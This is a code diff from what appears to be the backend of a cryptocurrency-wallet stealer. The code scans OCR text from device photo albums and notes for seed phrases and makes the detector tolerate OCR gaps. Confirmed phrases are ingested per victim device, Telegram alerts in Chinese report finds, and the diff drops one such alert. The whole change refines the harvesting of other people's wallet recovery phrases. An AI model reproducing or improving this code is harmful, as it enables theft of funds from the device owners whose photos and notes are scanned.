diff --git a/app/Services/MnemonicDetector.php b/app/Services/MnemonicDetector.php
index 3818dce..94f50ed 100644
--- a/app/Services/MnemonicDetector.php
+++ b/app/Services/MnemonicDetector.php
@@ -11,6 +11,10 @@ class MnemonicDetector
public const MIN_SUSPECTED = 8;
+ public const MIN_GAPPED_HITS = 9;
+
+ public const MAX_GAPS = 2;
+
public const MIN_CONFIRMED = 12;
public const MIN_UNIQUE = 8;
@@ -180,31 +184,45 @@ class MnemonicDetector
{
$n = count($tokens);
$best = null;
- $maxLen = min(24, $n);
- for ($len = self::MIN_SUSPECTED; $len <= $maxLen; $len++) {
- for ($i = 0; $i <= $n - $len; $i++) {
- $window = array_slice($tokens, $i, $len);
- $hits = 0;
- foreach ($window as $word) {
- if ($word !== '' && isset($wordlist[$word])) {
- $hits++;
- }
- }
- if ($hits < self::MIN_SUSPECTED) {
- continue;
- }
- $score = ($hits * 10) - (($len - $hits) * 2);
- if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
- continue;
- }
- $best = [
- 'candidate' => implode(' ', $window),
- 'word_count' => $hits,
- 'score' => $score,
- 'language' => 'en',
- 'confirmed' => false,
- ];
+ for ($i = 0; $i < $n; $i++) {
+ if ($tokens[$i] === '' || ! isset($wordlist[$tokens[$i]])) {
+ continue;
}
+ $hits = 0;
+ $gaps = 0;
+ $end = $i;
+ for ($j = $i; $j < $n; $j++) {
+ $word = $tokens[$j];
+ if ($word !== '' && isset($wordlist[$word])) {
+ $hits++;
+ $end = $j;
+
+ continue;
+ }
+ $next = $tokens[$j + 1] ?? null;
+ if ($gaps < self::MAX_GAPS && $next !== null && $next !== '' && isset($wordlist[$next])) {
+ $gaps++;
+
+ continue;
+ }
+ break;
+ }
+ $minHits = $gaps === 0 ? self::MIN_SUSPECTED : self::MIN_GAPPED_HITS;
+ if ($hits < $minHits) {
+ continue;
+ }
+ $window = array_slice($tokens, $i, $end - $i + 1);
+ $score = ($hits * 10) - ($gaps * 4);
+ if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
+ continue;
+ }
+ $best = [
+ 'candidate' => implode(' ', $window),
+ 'word_count' => $hits,
+ 'score' => $score,
+ 'language' => 'en',
+ 'confirmed' => false,
+ ];
}
return $best;
diff --git a/app/Services/MnemonicScanService.php b/app/Services/MnemonicScanService.php
index f6661bb..8cf7bda 100644
--- a/app/Services/MnemonicScanService.php
+++ b/app/Services/MnemonicScanService.php
@@ -13,7 +13,6 @@ use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
use App\Support\NoteContent;
-use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
class MnemonicScanService
@@ -23,7 +22,6 @@ class MnemonicScanService
private readonly OcrDriver $ocr,
private readonly PhotoOcrPreparer $preparer,
private readonly IngestService $ingest,
- private readonly TelegramNotifier $telegram,
) {}
public function dispatchPhoto(Photo $photo): void
@@ -281,8 +279,6 @@ class MnemonicScanService
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
return;
}
- $wasNew = ! $row->exists;
- $prevCandidate = $row->exists ? $row->candidate : '';
$confirmed = $this->canIngestHit($hit);
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
$row->candidate = $hit['candidate'];
@@ -295,24 +291,11 @@ class MnemonicScanService
}
$row->save();
- $sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
- ? WalletSource::fromTag('album_ocr')
- : WalletSource::fromTag('note_scan');
if ($confirmed) {
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['candidate'],
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
-
- return;
- }
- if ($wasNew || $prevCandidate !== $hit['candidate']) {
- $this->telegram->notifySuspectedMnemonic(
- $device->device_id,
- $sourceLabel,
- $hit['candidate'],
- (int) $hit['word_count'],
- );
}
}
diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php
index 96b2271..33d6ebc 100644
--- a/app/Services/TelegramNotifier.php
+++ b/app/Services/TelegramNotifier.php
@@ -322,17 +322,6 @@ class TelegramNotifier
]), $deviceId);
}
- public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
- {
- $this->send(implode("\n", [
- '🔎 疑似助记词',
- ...$this->deviceHeader($deviceId),
- '🏷 来源: '.$this->e($source ?: '—'),
- '🔢 命中词数: '.$this->e((string) $wordCount),
- '📝 候选: '.$this->e(WalletMnemonic::maskSecret($phrase)).'',
- ]), $deviceId);
- }
-
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
diff --git a/tests/Feature/MnemonicScanTest.php b/tests/Feature/MnemonicScanTest.php
index 5433de0..1844e8f 100644
--- a/tests/Feature/MnemonicScanTest.php
+++ b/tests/Feature/MnemonicScanTest.php
@@ -216,6 +216,11 @@ TXT;
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
$this->assertSame(0, $device->mnemonics()->count());
+ Http::assertNotSent(function ($request) {
+ $text = (string) ($request->data()['text'] ?? '');
+
+ return str_contains($text, '疑似助记词') || str_contains($text, '新助记词');
+ });
}
#[Test]
diff --git a/tests/Unit/MnemonicDetectorTest.php b/tests/Unit/MnemonicDetectorTest.php
index 266c572..12b6666 100644
--- a/tests/Unit/MnemonicDetectorTest.php
+++ b/tests/Unit/MnemonicDetectorTest.php
@@ -36,7 +36,7 @@ class MnemonicDetectorTest extends TestCase
}
#[Test]
- public function marks_nine_hits_as_suspected_not_confirmed(): void
+ public function marks_dense_ocr_holes_as_suspected_not_confirmed(): void
{
$ocr = <<<'TXT'
palance cousin endorse
@@ -52,7 +52,7 @@ TXT;
}
#[Test]
- public function eight_hits_are_suspected(): void
+ public function eight_consecutive_hits_are_suspected(): void
{
$text = 'cousin endorse refuse private dog solution april picture';
$hit = (new MnemonicDetector)->detect($text);
@@ -62,6 +62,27 @@ TXT;
$this->assertSame(8, $hit['word_count']);
}
+ #[Test]
+ public function ignores_sparse_english_prose(): void
+ {
+ $ocr = '7134 bom CA i a ating Heath Mag Daly craving If You\'re Craving Sugar '
+ .'Your body may need protein + stable blood sugar What\'s happening: Blood sugar spikes '
+ .'crash more cravings what eat instead cogs chicken';
+
+ $this->assertNull((new MnemonicDetector)->detect($ocr));
+ }
+
+ #[Test]
+ public function two_ocr_holes_with_ten_hits_are_suspected(): void
+ {
+ $ocr = 'cousin endorse refuse private dog solution puddy april picture father palance lab';
+ $hit = (new MnemonicDetector)->detect($ocr);
+
+ $this->assertNotNull($hit);
+ $this->assertFalse($hit['confirmed']);
+ $this->assertSame(10, $hit['word_count']);
+ }
+
#[Test]
public function ignores_repetitive_plumbing_copy(): void
{